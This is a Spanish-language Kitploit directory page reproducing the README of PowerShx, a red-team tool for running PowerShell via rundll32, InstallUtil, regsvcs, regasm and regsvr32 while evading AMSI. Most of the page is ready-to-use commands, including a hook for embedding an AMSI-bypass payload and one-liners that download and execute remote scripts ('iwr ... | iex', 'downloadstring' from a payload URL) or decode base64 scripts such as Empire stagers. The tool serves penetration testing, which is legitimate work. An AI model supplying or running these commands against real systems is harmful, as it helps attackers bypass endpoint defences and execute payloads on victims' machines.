Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
PowerShx — Ejecutar Powershell sin restricciones de software. | Kitploit
Herramientas/GitHubGitHub/iomoath/powershx
Herramientas DefensivasEscalada de PrivilegiosGeneración de PayloadsEvasión de IDS/IPSMovimiento LateralScripting y AutomatizaciónPost-ExplotaciónPruebas de PenetraciónComando y ControlRed Teaming
GitHubiomoath/powershx
28146hace 4 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PowerShx

Ejecutar Powershell sin restricciones de software.

Ver Repositorio

SharpShx


Ejecución de PowerShell no administrada usando DLLs o un ejecutable independiente.

Introducción

PowerShx es una reescritura y expansión del proyecto PowerShdll. PowerShx proporciona funcionalidades para evadir AMSI y ejecutar PS Cmdlets.

Funcionalidades

  • Ejecutar PowerShell con DLLs usando rundll32.exe, installutil.exe, regsvcs.exe o regasm.exe, regsvr32.exe.
  • Ejecutar PowerShell sin powershell.exe ni powershell_ise.exe.
  • Funcionalidades de evasión de AMSI.
  • Ejecutar scripts de PowerShell directamente desde la línea de comandos o archivos de PowerShell.
  • Importar módulos de PowerShell y ejecutar cmdlets de PowerShell.

Uso

Versión .dll

rundll32

root@kitploit:~
rundll32 PowerShx.dll,main -e                           <Script de PS a ejecutar>
rundll32 PowerShx.dll,main -f <ruta>                    Ejecutar el script pasado como argumento
rundll32 PowerShx.dll,main -f <ruta> -c <Cmdlet de PS>  Cargar un script y ejecutar un cmdlet de PS
rundll32 PowerShx.dll,main -w                           Iniciar una consola interactiva en una nueva ventana
rundll32 PowerShx.dll,main -i                           Iniciar una consola interactiva
rundll32 PowerShx.dll,main -s                           Intentar evadir AMSI
rundll32 PowerShx.dll,main -v                           Imprimir la salida de la ejecución en la consola

Alternativas (Crédito a SubTee por estas técnicas):

root@kitploit:~
1. 
    x86 - C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
    x64 - C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
2. 
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe PowerShx.dll
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe PowerShx.dll
3. 
    x86 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U PowerShx.dll
    x64 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U PowerShx.dll
4. 
    regsvr32 /s  /u PowerShx.dll -->Llama a DllUnregisterServer
    regsvr32 /s PowerShx.dll --> Llama a DllRegisterServer

Versión .exe

root@kitploit:~
PowerShx.exe -i                          Iniciar una consola interactiva
PowerShx.exe -e                          <Script de PS a ejecutar>
PowerShx.exe -f <ruta>                   Ejecutar el script pasado como argumento
PowerShx.exe -f <ruta> -c <Cmdlet de PS> Cargar un script y ejecutar un cmdlet de PS
PowerShx.exe -s                          Intentar evadir AMSI.

Cargas útiles incrustadas

Se pueden incrustar cargas útiles actualizando el diccionario de datos "Common.Payloads.PayloadDict" en el proyecto "Common" y llamándolo en el método PsSession.cs -> Handle(). Ejemplo: en el método Handle():

root@kitploit:~
private void Handle(Options options)
{
  // Pre-ejecución antes del script de usuario
  _ps.Exe(Payloads.PayloadDict["amsi"]);
}

Ejemplos

Ejecutar un script codificado en base64

root@kitploit:~
rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

Nota: Los stagers de Empire deben ser decodificados usando [System.Text.Encoding]::Unicode

Ejecutar un script codificado en base64

root@kitploit:~
rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;

PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"

Requisitos

.NET 4

Problemas conocidos

Algunos errores no parecen mostrarse en la salida. Puede resultar confuso, ya que comandos como Import-Module no muestran un error en caso de fallo. Asegúrese de haber escrito los comandos correctamente.

En modo dll, el modo interactivo y la salida de comandos dependen del secuestro de la consola del proceso padre. Si el proceso padre no tiene consola, use el modificador -n para no mostrar la salida; de lo contrario, la aplicación fallará.

Debido a la forma en que Rundll32 maneja los argumentos, usar varios espacios entre modificadores y argumentos puede causar problemas. Los espacios múltiples dentro de los scripts están bien.

Descargar herramienta